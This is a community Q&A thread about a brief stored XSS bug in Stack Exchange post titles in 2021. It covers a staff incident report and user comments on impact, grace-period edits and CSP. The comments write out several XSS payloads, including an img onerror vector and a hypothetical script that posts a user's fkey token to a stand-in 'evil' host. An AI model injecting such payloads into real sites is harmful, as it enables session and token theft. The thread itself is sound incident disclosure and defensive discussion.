This question cannot be rendered. Simple multi-colored textarea based editor
neither on question view, or list view.
The bug is triggered by adding <textarea> or some other tag to the title, as in this revision, or this other question.
asked Sep 1, 2021 at 10:20
2 Answers
The vulnerability has been closed (was related to turning off smarty-encoding for titles) and has been fixed (smarty-encoding is once again turned off network-wide).
The vulnerability was on the network for 44 minutes, from 10:02 GMT (the time that smarty-encoding was pushed to prod) until I deactivated it network-wide via site setting at 10:46 GMT.
I can confirm that only two posts were posted/edited during the vulnerability time-window that included <script> tags or other XSS attack vectors, both by the same user, and both were Proof of Concept posts that included <script>alert('hello world');</script> in the title. So there were no actual XSS attacks, no user data was compromised, etc.
Update from Yaakov (2023-12, after no longer with Stack): a more complete account of what happened, along with lessons learned
answered Sep 1, 2021 at 10:55
-
16Will there be a full RCA published? Do you know if any of our user/session credentials have been compromised?– GordonCommented Sep 1, 2021 at 10:57
-
7It's surprising how a <script> XSS worked like that on a website like SO, I hope we can get more information on the incident, to know we are safe on the website, as the simple use of a tag is the most basic xss vector– iunfixitCommented Sep 1, 2021 at 11:12
-
1@Gordon depends when they turned off "smarty-encoding for titles", whatever this is. Might be matter of minutes, hours, days, or weeks. Commented Sep 1, 2021 at 11:42
-
2Agreed. Post mortem would be nice. I suppose impact would be trivial to assess by looking at script tags in titles, if any. Commented Sep 1, 2021 at 11:46
-
9I'll post more details here when I can. Updated already. Follow this post if you want to know more. Commented Sep 1, 2021 at 11:48
-
7@Yaakov but what about grace period edits? Can you track those too? Smart hacker could: 1) start with innocent title, 2) set malicious title in grace period, 3) collect data, and still in grace period, put back the original title. Can you track such edits? Commented Sep 1, 2021 at 12:24
-
3There are ways to perform XSS without the use of
<script>. For example<img src="" onerror="alert('XSS')">.– IvarCommented Sep 1, 2021 at 13:04 -
3@Ivar I searched for posts that took advantage of other xss attack vectors as well. Updated the post above to note this. Commented Sep 1, 2021 at 13:13
-
3Does it matter which posts were posted or edited during this time period? What about displaying (e.g. in search) any of the existing posts? Or is their content somehow cached? This comment implies that it’s not. Commented Sep 1, 2021 at 13:57
-
1@Anonymous They would only have to see that it might be a vulnerability. And lots of questions don't get deleted.– khelwoodCommented Sep 1, 2021 at 22:22
-
2@Anonymous How could someone tell that a thing might happen? Optimism and imagination?– khelwoodCommented Sep 1, 2021 at 22:31
-
2@khelwood Good point. But I think a question with the title
<script>$.post("https://someevilwebsite.invalid", {"fkey": StackExchange.options.user.fkey});</script>would get deleted pretty quickly (due to it obviously not being a real question)... Commented Sep 1, 2021 at 23:27 -
7@Anonymous But a title like "What does
<script...evil...>do in this code?" could surely look like a real question.– khelwoodCommented Sep 1, 2021 at 23:32 -
6@Qix-MONICAWASMISTREATED If you are talking about stackoverflow.com/questions/69012356 , this was posted after the bug was already fixed Commented Sep 2, 2021 at 8:35
-
3Are there any plans to implement CSP in order to prevent XSS attacks in the future? There is already a feature request from 2016 on Meta SE, but there was no official answer given by SE. (I know the CSP header is already present, but the current policy isn't very complete/secure, and that's not just my opinion.) Commented Sep 4, 2021 at 18:02
It appears that it included script tags as well. I was able to snap this screenshot at 2021-09-01T10:41:16Z before it was fixed:
-
added a screenshot of the source code of the main page when the xss was still active. never mind the selection on the picture. the actual script tag is in line 876– GordonCommented Sep 1, 2021 at 11:16
<script> document.location.href='';</script>in it.